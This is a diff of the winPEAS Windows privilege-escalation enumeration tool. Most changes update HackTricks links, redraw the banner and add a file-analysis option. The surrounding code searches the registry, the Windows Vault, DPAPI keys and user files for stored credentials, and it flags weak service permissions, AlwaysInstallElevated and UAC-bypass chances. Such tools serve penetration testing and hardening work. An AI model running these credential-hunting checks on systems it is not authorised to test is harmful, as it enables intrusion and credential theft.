string[] passRegHklm = new string[] { @"SYSTEM\CurrentControlSet\Services\SNMP" };
|
||||||
|
|
||||||
Beaprint.MainPrint("Looking for possible regs with creds");
|
Beaprint.MainPrint("Looking for possible regs with creds");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#inside-the-registry");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#inside-the-registry");
|
||||||
|
|
||||||
string winVnc4 = RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\RealVNC\WinVNC4", "password");
|
string winVnc4 = RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\RealVNC\WinVNC4", "password");
|
||||||
if (!string.IsNullOrEmpty(winVnc4.Trim()))
|
if (!string.IsNullOrEmpty(winVnc4.Trim()))
|
||||||
@@ -431,7 +431,7 @@ namespace winPEAS.Checks
|
|||||||
};
|
};
|
||||||
|
|
||||||
Beaprint.MainPrint("Looking for possible password files in users homes");
|
Beaprint.MainPrint("Looking for possible password files in users homes");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
|
||||||
var fileInfos = SearchHelper.SearchUserCredsFiles();
|
var fileInfos = SearchHelper.SearchUserCredsFiles();
|
||||||
|
|
||||||
foreach (var fileInfo in fileInfos)
|
foreach (var fileInfo in fileInfos)
|
||||||
@@ -470,7 +470,7 @@ namespace winPEAS.Checks
|
|||||||
};
|
};
|
||||||
|
|
||||||
Beaprint.MainPrint("Looking inside the Recycle Bin for creds files");
|
Beaprint.MainPrint("Looking inside the Recycle Bin for creds files");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
|
||||||
List<Dictionary<string, string>> recy_files = InterestingFiles.InterestingFiles.GetRecycleBin();
|
List<Dictionary<string, string>> recy_files = InterestingFiles.InterestingFiles.GetRecycleBin();
|
||||||
|
|
||||||
foreach (Dictionary<string, string> rec_file in recy_files)
|
foreach (Dictionary<string, string> rec_file in recy_files)
|
||||||
@@ -506,7 +506,7 @@ namespace winPEAS.Checks
|
|||||||
};
|
};
|
||||||
|
|
||||||
Beaprint.MainPrint("Searching known files that can contain creds in home");
|
Beaprint.MainPrint("Searching known files that can contain creds in home");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
|
||||||
|
|
||||||
var files = SearchHelper.SearchUsersInterestingFiles();
|
var files = SearchHelper.SearchUsersInterestingFiles();
|
||||||
|
|
||||||
|
|||||||
@@ -23,7 +23,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Interesting Processes -non Microsoft-");
|
Beaprint.MainPrint("Interesting Processes -non Microsoft-");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#running-processes", "Check if any interesting processes for memory dump or if you could overwrite some binary running");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#running-processes", "Check if any interesting processes for memory dump or if you could overwrite some binary running");
|
||||||
List<Dictionary<string, string>> processesInfo = ProcessesInfo.GetProcInfo();
|
List<Dictionary<string, string>> processesInfo = ProcessesInfo.GetProcInfo();
|
||||||
|
|
||||||
foreach (Dictionary<string, string> procInfo in processesInfo)
|
foreach (Dictionary<string, string> procInfo in processesInfo)
|
||||||
|
|||||||
@@ -42,7 +42,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Interesting Services -non Microsoft-");
|
Beaprint.MainPrint("Interesting Services -non Microsoft-");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services", "Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services", "Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths");
|
||||||
|
|
||||||
List<Dictionary<string, string>> services_info = ServicesInfoHelper.GetNonstandardServices();
|
List<Dictionary<string, string>> services_info = ServicesInfoHelper.GetNonstandardServices();
|
||||||
|
|
||||||
@@ -121,7 +121,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Modifiable Services");
|
Beaprint.MainPrint("Modifiable Services");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services", "Check if you can modify any service");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services", "Check if you can modify any service");
|
||||||
if (modifiableServices.Count > 0)
|
if (modifiableServices.Count > 0)
|
||||||
{
|
{
|
||||||
Beaprint.BadPrint(" LOOKS LIKE YOU CAN MODIFY OR START/STOP SOME SERVICE/s:");
|
Beaprint.BadPrint(" LOOKS LIKE YOU CAN MODIFY OR START/STOP SOME SERVICE/s:");
|
||||||
@@ -158,7 +158,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking if you can modify any service registry");
|
Beaprint.MainPrint("Looking if you can modify any service registry");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services-registry-permissions", "Check if you can modify the registry of a service");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions", "Check if you can modify the registry of a service");
|
||||||
List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||||
|
|
||||||
Dictionary<string, string> colorsWR = new Dictionary<string, string>()
|
Dictionary<string, string> colorsWR = new Dictionary<string, string>()
|
||||||
@@ -186,7 +186,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Checking write permissions in PATH folders (DLL Hijacking)");
|
Beaprint.MainPrint("Checking write permissions in PATH folders (DLL Hijacking)");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking", "Check for DLL Hijacking in PATH folders");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dll-hijacking", "Check for DLL Hijacking in PATH folders");
|
||||||
Dictionary<string, string> path_dllhijacking = ServicesInfoHelper.GetPathDLLHijacking();
|
Dictionary<string, string> path_dllhijacking = ServicesInfoHelper.GetPathDLLHijacking();
|
||||||
foreach (KeyValuePair<string, string> entry in path_dllhijacking)
|
foreach (KeyValuePair<string, string> entry in path_dllhijacking)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -97,7 +97,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Basic System Information");
|
Beaprint.MainPrint("Basic System Information");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits", "Check if the Windows versions is vulnerable to some known exploit");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits", "Check if the Windows versions is vulnerable to some known exploit");
|
||||||
Dictionary<string, string> basicDictSystem = Info.SystemInfo.SystemInfo.GetBasicOSInfo();
|
Dictionary<string, string> basicDictSystem = Info.SystemInfo.SystemInfo.GetBasicOSInfo();
|
||||||
basicDictSystem["Hotfixes"] = Beaprint.ansi_color_good + basicDictSystem["Hotfixes"] + Beaprint.NOCOLOR;
|
basicDictSystem["Hotfixes"] = Beaprint.ansi_color_good + basicDictSystem["Hotfixes"] + Beaprint.NOCOLOR;
|
||||||
Dictionary<string, string> colorsSI = new Dictionary<string, string>
|
Dictionary<string, string> colorsSI = new Dictionary<string, string>
|
||||||
@@ -340,7 +340,7 @@ namespace winPEAS.Checks
|
|||||||
static void PrintWdigest()
|
static void PrintWdigest()
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Wdigest");
|
Beaprint.MainPrint("Wdigest");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#wdigest", "If enabled, plain-text crds could be stored in LSASS");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#wdigest", "If enabled, plain-text crds could be stored in LSASS");
|
||||||
string useLogonCredential = RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest", "UseLogonCredential");
|
string useLogonCredential = RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest", "UseLogonCredential");
|
||||||
if (useLogonCredential == "1")
|
if (useLogonCredential == "1")
|
||||||
Beaprint.BadPrint(" Wdigest is active");
|
Beaprint.BadPrint(" Wdigest is active");
|
||||||
@@ -351,7 +351,7 @@ namespace winPEAS.Checks
|
|||||||
static void PrintLSAProtection()
|
static void PrintLSAProtection()
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("LSA Protection");
|
Beaprint.MainPrint("LSA Protection");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#lsa-protection", "If enabled, a driver is needed to read LSASS memory (If Secure Boot or UEFI, RunAsPPL cannot be disabled by deleting the registry key)");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#lsa-protection", "If enabled, a driver is needed to read LSASS memory (If Secure Boot or UEFI, RunAsPPL cannot be disabled by deleting the registry key)");
|
||||||
string useLogonCredential = RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\LSA", "RunAsPPL");
|
string useLogonCredential = RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\LSA", "RunAsPPL");
|
||||||
if (useLogonCredential == "1")
|
if (useLogonCredential == "1")
|
||||||
Beaprint.GoodPrint(" LSA Protection is active");
|
Beaprint.GoodPrint(" LSA Protection is active");
|
||||||
@@ -362,7 +362,7 @@ namespace winPEAS.Checks
|
|||||||
static void PrintCredentialGuard()
|
static void PrintCredentialGuard()
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Credentials Guard");
|
Beaprint.MainPrint("Credentials Guard");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#credential-guard", "If enabled, a driver is needed to read LSASS memory");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#credential-guard", "If enabled, a driver is needed to read LSASS memory");
|
||||||
string lsaCfgFlags = RegistryHelper.GetRegValue("HKLM", @"System\CurrentControlSet\Control\LSA", "LsaCfgFlags");
|
string lsaCfgFlags = RegistryHelper.GetRegValue("HKLM", @"System\CurrentControlSet\Control\LSA", "LsaCfgFlags");
|
||||||
|
|
||||||
if (lsaCfgFlags == "1")
|
if (lsaCfgFlags == "1")
|
||||||
@@ -386,7 +386,7 @@ namespace winPEAS.Checks
|
|||||||
static void PrintCachedCreds()
|
static void PrintCachedCreds()
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Cached Creds");
|
Beaprint.MainPrint("Cached Creds");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#cached-credentials", "If > 0, credentials will be cached in the registry and accessible by SYSTEM user");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#cached-credentials", "If > 0, credentials will be cached in the registry and accessible by SYSTEM user");
|
||||||
string cachedlogonscount = RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "CACHEDLOGONSCOUNT");
|
string cachedlogonscount = RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "CACHEDLOGONSCOUNT");
|
||||||
if (!string.IsNullOrEmpty(cachedlogonscount))
|
if (!string.IsNullOrEmpty(cachedlogonscount))
|
||||||
{
|
{
|
||||||
@@ -523,7 +523,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("UAC Status");
|
Beaprint.MainPrint("UAC Status");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access", "If you are in the Administrators group check how to bypass the UAC");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access", "If you are in the Administrators group check how to bypass the UAC");
|
||||||
Dictionary<string, string> uacDict = Info.SystemInfo.SystemInfo.GetUACSystemPolicies();
|
Dictionary<string, string> uacDict = Info.SystemInfo.SystemInfo.GetUACSystemPolicies();
|
||||||
|
|
||||||
Dictionary<string, string> colorsSI = new Dictionary<string, string>()
|
Dictionary<string, string> colorsSI = new Dictionary<string, string>()
|
||||||
@@ -556,7 +556,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Checking WSUS");
|
Beaprint.MainPrint("Checking WSUS");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#wsus");
|
||||||
string path = "Software\\Policies\\Microsoft\\Windows\\WindowsUpdate";
|
string path = "Software\\Policies\\Microsoft\\Windows\\WindowsUpdate";
|
||||||
string path2 = "Software\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU";
|
string path2 = "Software\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU";
|
||||||
string HKLM_WSUS = RegistryHelper.GetRegValue("HKLM", path, "WUServer");
|
string HKLM_WSUS = RegistryHelper.GetRegValue("HKLM", path, "WUServer");
|
||||||
@@ -591,7 +591,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Checking AlwaysInstallElevated");
|
Beaprint.MainPrint("Checking AlwaysInstallElevated");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated");
|
||||||
string path = "Software\\Policies\\Microsoft\\Windows\\Installer";
|
string path = "Software\\Policies\\Microsoft\\Windows\\Installer";
|
||||||
string HKLM_AIE = RegistryHelper.GetRegValue("HKLM", path, "AlwaysInstallElevated");
|
string HKLM_AIE = RegistryHelper.GetRegValue("HKLM", path, "AlwaysInstallElevated");
|
||||||
string HKCU_AIE = RegistryHelper.GetRegValue("HKCU", path, "AlwaysInstallElevated");
|
string HKCU_AIE = RegistryHelper.GetRegValue("HKCU", path, "AlwaysInstallElevated");
|
||||||
|
|||||||
@@ -80,7 +80,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Users");
|
Beaprint.MainPrint("Users");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#users-and-groups", "Check if you have some admin equivalent privileges");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#users-and-groups", "Check if you have some admin equivalent privileges");
|
||||||
|
|
||||||
List<string> usersGrps = User.GetMachineUsers(false, false, false, false, true);
|
List<string> usersGrps = User.GetMachineUsers(false, false, false, false, true);
|
||||||
|
|
||||||
@@ -111,7 +111,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Current Token privileges");
|
Beaprint.MainPrint("Current Token privileges");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#token-manipulation", "Check if you can escalate privilege using some enabled token");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#token-manipulation", "Check if you can escalate privilege using some enabled token");
|
||||||
Dictionary<string, string> tokenPrivs = Token.GetTokenGroupPrivs();
|
Dictionary<string, string> tokenPrivs = Token.GetTokenGroupPrivs();
|
||||||
Beaprint.DictPrint(tokenPrivs, ColorsU(), false);
|
Beaprint.DictPrint(tokenPrivs, ColorsU(), false);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -48,7 +48,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Checking Windows Vault");
|
Beaprint.MainPrint("Checking Windows Vault");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-manager-windows-vault");
|
||||||
var vaultCreds = VaultCli.DumpVault();
|
var vaultCreds = VaultCli.DumpVault();
|
||||||
|
|
||||||
var colorsC = new Dictionary<string, string>()
|
var colorsC = new Dictionary<string, string>()
|
||||||
@@ -68,7 +68,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Checking Credential manager");
|
Beaprint.MainPrint("Checking Credential manager");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-manager-windows-vault");
|
||||||
|
|
||||||
var colorsC = new Dictionary<string, string>()
|
var colorsC = new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
@@ -153,7 +153,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Checking for DPAPI Master Keys");
|
Beaprint.MainPrint("Checking for DPAPI Master Keys");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi");
|
||||||
var masterKeys = KnownFileCredsInfo.ListMasterKeys();
|
var masterKeys = KnownFileCredsInfo.ListMasterKeys();
|
||||||
|
|
||||||
if (masterKeys.Count != 0)
|
if (masterKeys.Count != 0)
|
||||||
@@ -181,7 +181,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Checking for DPAPI Credential Files");
|
Beaprint.MainPrint("Checking for DPAPI Credential Files");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi");
|
||||||
var credFiles = KnownFileCredsInfo.GetCredFiles();
|
var credFiles = KnownFileCredsInfo.GetCredFiles();
|
||||||
Beaprint.DictPrint(credFiles, false);
|
Beaprint.DictPrint(credFiles, false);
|
||||||
|
|
||||||
@@ -201,7 +201,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Checking for RDCMan Settings Files");
|
Beaprint.MainPrint("Checking for RDCMan Settings Files");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#remote-desktop-credential-manager",
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#remote-desktop-credential-manager",
|
||||||
"Dump credentials from Remote Desktop Connection Manager");
|
"Dump credentials from Remote Desktop Connection Manager");
|
||||||
var rdcFiles = RemoteDesktop.GetRDCManFiles();
|
var rdcFiles = RemoteDesktop.GetRDCManFiles();
|
||||||
Beaprint.DictPrint(rdcFiles, false);
|
Beaprint.DictPrint(rdcFiles, false);
|
||||||
@@ -307,7 +307,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking AppCmd.exe");
|
Beaprint.MainPrint("Looking AppCmd.exe");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd-exe");
|
||||||
|
|
||||||
var appCmdPath = Environment.ExpandEnvironmentVariables(@"%systemroot%\system32\inetsrv\appcmd.exe");
|
var appCmdPath = Environment.ExpandEnvironmentVariables(@"%systemroot%\system32\inetsrv\appcmd.exe");
|
||||||
|
|
||||||
@@ -368,7 +368,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking SSClient.exe");
|
Beaprint.MainPrint("Looking SSClient.exe");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#scclient-sccm");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#scclient-sccm");
|
||||||
|
|
||||||
if (File.Exists(Environment.ExpandEnvironmentVariables(@"%systemroot%\Windows\CCM\SCClient.exe")))
|
if (File.Exists(Environment.ExpandEnvironmentVariables(@"%systemroot%\Windows\CCM\SCClient.exe")))
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -44,32 +44,31 @@ namespace winPEAS.Helpers
|
|||||||
public static void PrintBanner()
|
public static void PrintBanner()
|
||||||
{
|
{
|
||||||
Console.WriteLine(BLUE + string.Format(@"
|
Console.WriteLine(BLUE + string.Format(@"
|
||||||
{0}*((,.,/((((((((((((((((((((/, */
|
{0}((((((((((((((((((((((((((((((((
|
||||||
{0},/*,..*((((((((((((((((((((((((((((((((((,
|
{0}(((((((((((((((((((((((((((((((((((((((((((
|
||||||
{0},*/((((((((((((((((((/, .*//((//**, .*(((((((*
|
{0}(((((((((((((({2}**********/{1}##########{0}.((((((((((((
|
||||||
{0}(((((((((((((((({2}**********/{1}########## {0}.(* ,(((((((
|
{0}(((((((((((/{2}********************/{1}#######{0}.((((((((((
|
||||||
{0}(((((((((((/{2}********************/{1}####### {0}.(. (((((((
|
{0}(((((((.{2}******************{3}/@@@@@/{0}{2}****{1}######{0}.(((((((((
|
||||||
{0}((((((..{2}******************{3}/@@@@@/{2}***/{1}###### {0}./(((((((
|
{0}(((((.{2}********************{3}@@@@@@@@@@/{0}{2}***,{1}####{0}.(((((((((
|
||||||
{0},,....{2}********************{3}@@@@@@@@@@{2}(***,{1}#### {0}.//((((((
|
{0}((((.{2}********************{3}/@@@@@%@@@@{0}{2}/********{1}##{0}(((((((((
|
||||||
{0}, ,..{2}********************{3}/@@@@@%@@@@{2}/********{1}##{0}((/ /((((
|
{0}.(({1}############{2}*********{3}/%@@@@@@@@@{0}{2}/************{0}.(((((((
|
||||||
{0}..(({1}###########{2}*********{3}/%@@@@@@@@@{2}/************{0},,..((((
|
{0}.({1}##################(/{2}******{3}/@@@@@{0}{2}/***************{0}.(((((
|
||||||
{0}.({1}##################(/{2}******{3}/@@@@@{2}/***************{0}.. /((
|
{0}.({1}#########################(/{2}**********************{0}.((((
|
||||||
{0}.({1}#########################(/{2}**********************{0}..*((
|
{0}.({1}##############################(/{2}*****************{0}.((((
|
||||||
{0}.({1}##############################(/{2}*****************{0}.,(((
|
{0}.({1}###################################(/{2}************{0}.((((
|
||||||
{0}.({1}###################################(/{2}************{0}..(((
|
{0}.({1}#######################################({2}*********{0}.((((
|
||||||
{0}.({1}#######################################({2}*********{0}..(((
|
{0}.({1}#######(,.***.,(###################(..***.{2}*******{0}.((((
|
||||||
{0}.({1}#######(,.***.,(###################(..***.{2}*******{0}..(((
|
{0}.({1}#######*(#####((##################((######/({2}*****{0}.((((
|
||||||
{0}.({1}#######*(#####((##################((######/({2}*****{0}..(((
|
{0}.({1}###################(/***********(##############({0}).((((
|
||||||
{0}.({1}###################(/***********(##############({0}...(((
|
{0}.(({1}#####################/*******(################{0})((((((
|
||||||
{0}.(({1}#####################/*******(################{0}.((((((
|
{0}.((({1}############################################{0}).(((((
|
||||||
{0}.((({1}############################################{0}(..((((
|
{0}..((({1}##########################################{0}).((((((
|
||||||
{0}..((({1}##########################################{0}(..(((((
|
{0}....(({1}########################################{0}).((((((
|
||||||
{0}....(({1}########################################{0}( .(((((
|
{0}......(({1}####################################{0}).(((((((
|
||||||
{0}......(({1}####################################{0}( .((((((
|
{0}((((((((({1}#################################{0}).((((((((
|
||||||
{0}((((((((({1}#################################{0}(../((((((
|
{0}(((((((((/{1}##########################{0}).((((((((
|
||||||
{0}(((((((((/{1}##########################{0}(/..((((((
|
{0}((((((((((((((((((((((((((((((((((((((
|
||||||
{0}(((((((((/,. ,*//////*,. ./(((((((((((((((.
|
{0}((((((((((((((((((((((((((((((", LGREEN, GREEN, BLUE, NOCOLOR) + NOCOLOR);
|
||||||
{0}(((((((((((((((((((((((((((((/", LGREEN, GREEN, BLUE, NOCOLOR) + NOCOLOR);
|
|
||||||
|
|
||||||
Console.WriteLine();
|
Console.WriteLine();
|
||||||
Console.WriteLine(LYELLOW + "ADVISORY: " + BLUE + Advisory);
|
Console.WriteLine(LYELLOW + "ADVISORY: " + BLUE + Advisory);
|
||||||
@@ -85,7 +84,7 @@ namespace winPEAS.Helpers
|
|||||||
/---------------------------------------------------------------------------\
|
/---------------------------------------------------------------------------\
|
||||||
| {1}Do you like PEASS?{0} |
|
| {1}Do you like PEASS?{0} |
|
||||||
|---------------------------------------------------------------------------|
|
|---------------------------------------------------------------------------|
|
||||||
| {3}Become a Patreon{0} : {2}https://www.patreon.com/peass{0} |
|
| {3}Get latest WinPEAS{0} : {2}https://github.com/sponsors/carlospolop{0} |
|
||||||
| {3}Follow on Twitter{0} : {2}@carlospolopm{0} |
|
| {3}Follow on Twitter{0} : {2}@carlospolopm{0} |
|
||||||
| {3}Respect on HTB{0} : {2}SirBroccoli & makikvues{0} |
|
| {3}Respect on HTB{0} : {2}SirBroccoli & makikvues{0} |
|
||||||
|---------------------------------------------------------------------------|
|
|---------------------------------------------------------------------------|
|
||||||
@@ -108,7 +107,7 @@ namespace winPEAS.Helpers
|
|||||||
|
|
||||||
PrintLegend();
|
PrintLegend();
|
||||||
Console.WriteLine();
|
Console.WriteLine();
|
||||||
LinkPrint("https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation", "You can find a Windows local PE Checklist here:");
|
LinkPrint("https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation", "You can find a Windows local PE Checklist here:");
|
||||||
}
|
}
|
||||||
|
|
||||||
static void PrintLegend()
|
static void PrintLegend()
|
||||||
@@ -136,7 +135,8 @@ namespace winPEAS.Helpers
|
|||||||
Console.WriteLine(LBLUE + " networkinfo" + GRAY + " Search network information" + NOCOLOR);
|
Console.WriteLine(LBLUE + " networkinfo" + GRAY + " Search network information" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " windowscreds" + GRAY + " Search windows credentials" + NOCOLOR);
|
Console.WriteLine(LBLUE + " windowscreds" + GRAY + " Search windows credentials" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " browserinfo" + GRAY + " Search browser information" + NOCOLOR);
|
Console.WriteLine(LBLUE + " browserinfo" + GRAY + " Search browser information" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " filesinfo" + GRAY + " Search files that can contains credentials" + NOCOLOR);
|
Console.WriteLine(LBLUE + " filesinfo" + GRAY + " Search generic files that can contains credentials" + NOCOLOR);
|
||||||
|
Console.WriteLine(LBLUE + " fileanalysis" + GRAY + " Search specific files that can contains credentials" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " eventsinfo" + GRAY + " Display interesting events information" + NOCOLOR);
|
Console.WriteLine(LBLUE + " eventsinfo" + GRAY + " Display interesting events information" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " wait" + GRAY + " Wait for user input between checks" + NOCOLOR);
|
Console.WriteLine(LBLUE + " wait" + GRAY + " Wait for user input between checks" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " debug" + GRAY + " Display debugging information - memory usage, method execution time" + NOCOLOR);
|
Console.WriteLine(LBLUE + " debug" + GRAY + " Display debugging information - memory usage, method execution time" + NOCOLOR);
|
||||||
|
|||||||
@@ -25,6 +25,7 @@ namespace winPEAS.Helpers.Search
|
|||||||
ConcurrentBag<CustomFileInfo> files = new ConcurrentBag<CustomFileInfo>();
|
ConcurrentBag<CustomFileInfo> files = new ConcurrentBag<CustomFileInfo>();
|
||||||
IEnumerable<DirectoryInfo> startDirs = GetStartDirectories(folder, files, pattern, isFoldersIncluded);
|
IEnumerable<DirectoryInfo> startDirs = GetStartDirectories(folder, files, pattern, isFoldersIncluded);
|
||||||
IList<DirectoryInfo> startDirsExcluded = new List<DirectoryInfo>();
|
IList<DirectoryInfo> startDirsExcluded = new List<DirectoryInfo>();
|
||||||
|
IList<string> known_dirs = new List<string>();
|
||||||
|
|
